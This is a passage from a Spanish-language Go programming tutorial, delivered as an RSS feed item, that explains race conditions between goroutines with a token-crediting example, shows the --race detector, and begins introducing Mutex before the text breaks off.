      <content:encoded>&lt;p&gt;En las entradas pasadas te hable un poco sobre las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-channels-entendiendo-los-deadlocks-o-puntos-muertos/&#34;&gt;goroutines, los bloqueos o deadlocks y los channels&lt;/a&gt;&#xA;. Pero hay otro tema bastante interesante sobre los goroutines que resalta cuando usamos asincronía y hay muchas funciones accediendo a los datos al mismo tiempo y. Múltiples funciones leyendo y escribiendo la misma información puede llevar a situaciones caóticas donde cosas muy extrañas pueden suceder.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-una-race-condition-o-condicion-de-carrera&#34;&gt;¿Qué es una race condition o condición de carrera?&lt;/h2&gt;&#xA;&lt;p&gt;Si ya sabes que es una race condition o condición de carrera, puedes saltarte a la siguiente sección. Si no, sigue leyendo.&lt;/p&gt;&#xA;&lt;p&gt;Una condición de carrera ocurre cuando dos subprocesos tienen acceso a una variable compartida al mismo tiempo. Voy a ponerte un ejemplo más detallado.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que es un día especial en tu página web de dudoso contenido y vas a regalarles 20 tokens a tus usuarios por cada usuario nuevo que refieran. Entonces decides usar goroutines para implementar la funcionalidad. Todo va viento en popa, hasta que uno de tus clientes te contacta por un supuesto error.&lt;/p&gt;&#xA;&lt;p&gt;DarkLord69 afirma haber referido a dos personas, sin embargo se queja de que sus tokens no se han incrementado en 40, sino en 20.&lt;/p&gt;&#xA;&lt;p&gt;Probablemente crees que ya la regaste en el código, pero todo luce bien, ¿qué pudo haber salido mal? Tras revisar tu código te das cuenta de que el problema está en las goroutines.&lt;/p&gt;&#xA;&lt;p&gt;Sucede que una goroutine leyó la cantidad de créditos de DarkLord69: 120, y, casi al mismo tiempo, otra goroutine leyó esos mismos créditos.&lt;/p&gt;&#xA;&lt;p&gt;La primera goroutine dijo: &amp;ldquo;Tengo 120 créditos, si le sumo 20, el total de nuevos créditos es 140&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Mientras que la segunda goroutine, casi al mismo tiempo que la primera, dijo: &amp;ldquo;Yo leí que había 120 créditos, si le sumo 20, el total de nuevos créditos será de 140&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Ambas goroutines están estableciendo el total de créditos en 140, porque leyeron, casi al mismo tiempo, que había 120.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/race-conditions-go.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/race-conditions-go.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Ejemplo de una race condition o condición de carrera en go&#34; width=&#34;1080&#34; height=&#34;1080&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Ejemplo de una race condition o condición de carrera en go.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Como ya sabrás, DarkLord69 no estará muy contento, pero si le das unos tokens extras como compensación no debería haber problema. Pero, ¿y si en lugar de haber sido tokens hubiera sido dinero? ¿o quizás algún otro bien más preciado?&lt;/p&gt;&#xA;&lt;p&gt;Ahora vamos a un ejemplo hecho en código.&lt;/p&gt;&#xA;&lt;p&gt;Si no entiendes que hace el waitgroup, escribí una entrada donde te explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/&#34;&gt;las goroutines, channels y los waitgroups&lt;/a&gt;&#xA; que puedes consultar. Por ahora quédate con la idea de que esperan a que todas las goroutines finalicen antes de proseguir la ejecución del código.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sync&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tokens &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;120&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; tokens&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens = tokens_leidos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(tokens)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La parte importante radica en que, dentro de una goroutine, leemos el contenido variable tokens, posteriormente la incrementamos en 20 y luego ese resultado lo asignamos a tokens otra vez. Pero no hay problema alguno, si ejecutamos el código obtendremos el resultado correcto: 320 (120 tokens + Un incrementos de 20 tokens para cada una de las 10 goroutines).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Todo perfecto ¿o no? No, el código es tan pequeño y el proceso ocurre tan rápido que no se nota el problema.&lt;/p&gt;&#xA;&lt;p&gt;Si añadimos un pequeño momento de espera en las goroutines (que puede ser causado por un acceso a la base de datos o cualquier otro proceso), enfrentaremos el problema cara a cara.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sync&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tokens &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;120&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; tokens&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sleep&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Millisecond) &lt;span style=&#34;color:#78787e&#34;&gt;// Tiempo de espera&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens = tokens_leidos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(tokens)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras la ejecución del código, en lugar del resultado correcto, yo obtengo 140 con 1 milisegundo y 200 con un microsegundo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;detectar-condiciones-de-carrera-con-race&#34;&gt;Detectar condiciones de carrera con &amp;ndash;race&lt;/h2&gt;&#xA;&lt;p&gt;Para ayudarnos a identificar estos problemas, Go cuenta con un flag para detectar condiciones de carrera, si ejecutamos la compilación con el flag &lt;em&gt;--race&lt;/em&gt; veremos que go nos advierte de que nuestro código posee condiciones de carrera.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; build &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;race main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==================&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARNING: DATA RACE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Read at &lt;span style=&#34;color:#ff9f43&#34;&gt;0x0000005fe430&lt;/span&gt; by goroutine &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;#&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;prevenir-condiciones-de-carrera-con-mutex&#34;&gt;Prevenir condiciones de carrera con Mutex&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Existe un objeto llamado Mutex (&lt;strong&gt;mut&lt;/strong&gt;ual &lt;strong&gt;ex&lt;/strong&gt;clusion) que garantizará que nuestro código no acceda a una variable hasta que nosotros le indiquemos, evitando que se den las condiciones de carrera o race conditions.&lt;/p&gt;&#xA;&lt;p&gt;Piensa en un mutex como una cerradura, que bloqueará el acceso a nuestro código por parte de otras goroutines, hasta que lo liberemos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span 